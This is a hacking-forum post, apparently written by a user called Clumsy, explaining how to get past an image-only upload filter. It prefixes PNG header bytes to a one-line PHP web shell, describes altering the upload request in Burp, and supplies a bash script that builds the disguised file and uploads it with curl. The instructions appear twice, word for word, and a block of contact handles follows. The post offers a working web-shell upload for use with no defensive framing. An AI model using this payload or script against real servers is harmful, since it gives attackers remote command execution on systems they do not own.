May 30, 2024 05:19 PM
(This post was last modified: May 30, 2024 05:34 PM by Clumsy.)
File Upload Filter Bypass
Scenario you have a place to upload files that you can access, but there is a filter making sure that the
file type matches the ones expected (e.g. only image file types)
PNG Image Header
89 50 4E 47
Open a hex editor and create a new file, copy those bytes over to the beginning of the new file. Into the
TEXT area (on the right, not the bytes area where you just pasted the header above) paste your shell
<?php system($_GET['c']);?>
It should look like this
![[Image: Screenshot-2024-05-30-at-20-11-09-File-U...ss-pdf.png]](https://i.ibb.co/JFsThwN/Screenshot-2024-05-30-at-20-11-09-File-Upload-Filter-Bypass-pdf.png)
Take note of the length
![[Image: Screenshot-2024-05-30-at-20-12-59-File-U...ss-pdf.png]](https://i.ibb.co/9vWymtc/Screenshot-2024-05-30-at-20-12-59-File-Upload-Filter-Bypass-pdf.png)
Next start burp and navigate to the upload directory.
Then do the following
1. Turn on interceptor
2. Send an upload request with any file
3. Modify the request
Original
![[Image: Screenshot-2024-05-30-at-20-14-44-File-U...ss-pdf.png]](https://i.ibb.co/1fMyGpv/Screenshot-2024-05-30-at-20-14-44-File-Upload-Filter-Bypass-pdf.png)
Modified
![[Image: Screenshot-2024-05-30-at-20-15-43-File-U...ss-pdf.png]](https://i.ibb.co/bbXq6QH/Screenshot-2024-05-30-at-20-15-43-File-Upload-Filter-Bypass-pdf.png)
Then forward the request and disable interceptor.
You can automate this request by doing the following
Scenario you have a place to upload files that you can access, but there is a filter making sure that the
file type matches the ones expected (e.g. only image file types)
PNG Image Header
89 50 4E 47
Open a hex editor and create a new file, copy those bytes over to the beginning of the new file. Into the
TEXT area (on the right, not the bytes area where you just pasted the header above) paste your shell
<?php system($_GET['c']);?>
It should look like this
![[Image: Screenshot-2024-05-30-at-20-11-09-File-U...ss-pdf.png]](https://i.ibb.co/JFsThwN/Screenshot-2024-05-30-at-20-11-09-File-Upload-Filter-Bypass-pdf.png)
Take note of the length
![[Image: Screenshot-2024-05-30-at-20-12-59-File-U...ss-pdf.png]](https://i.ibb.co/9vWymtc/Screenshot-2024-05-30-at-20-12-59-File-Upload-Filter-Bypass-pdf.png)
Next start burp and navigate to the upload directory.
Then do the following
1. Turn on interceptor
2. Send an upload request with any file
3. Modify the request
Original
![[Image: Screenshot-2024-05-30-at-20-14-44-File-U...ss-pdf.png]](https://i.ibb.co/1fMyGpv/Screenshot-2024-05-30-at-20-14-44-File-Upload-Filter-Bypass-pdf.png)
Modified
![[Image: Screenshot-2024-05-30-at-20-15-43-File-U...ss-pdf.png]](https://i.ibb.co/bbXq6QH/Screenshot-2024-05-30-at-20-15-43-File-Upload-Filter-Bypass-pdf.png)
Then forward the request and disable interceptor.
You can automate this request by doing the following
Code
#!/bin/bash
# Function to create PNG file with embedded PHP shell
create_embedded_shell_png() {
echo -n -e "\x89\x50\x4E\x47" > embedded_shell.png
echo '<?php system($_GET["c"]); ?>' >> embedded_shell.png
}
# Function to calculate file length
get_file_length() {
file_length=$(stat -c %s embedded_shell.png)
echo "$file_length"
}
# Function to upload file to server
upload_file() {
url="http://example.com/upload.php" # Replace with actual upload URL
file="embedded_shell.png"
curl -X POST -F "file=@$file" $url
}
# Main script
echo "Creating PNG file with embedded PHP shell..."
create_embedded_shell_png
echo "File created successfully."
file_length=$(get_file_length)
echo "File length: $file_length bytes"
echo "Uploading file to server..."
upload_file
echo "File uploaded successfully."
Hackerone.com/DBMS
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod
Bugcrowd.com/Sleep
[email protected]
Youtube.com/Stripped
Github.com/SleepTheGod
Contact : linkedin.com/in/clumsy/
Contact : T.me/SleepTheGod



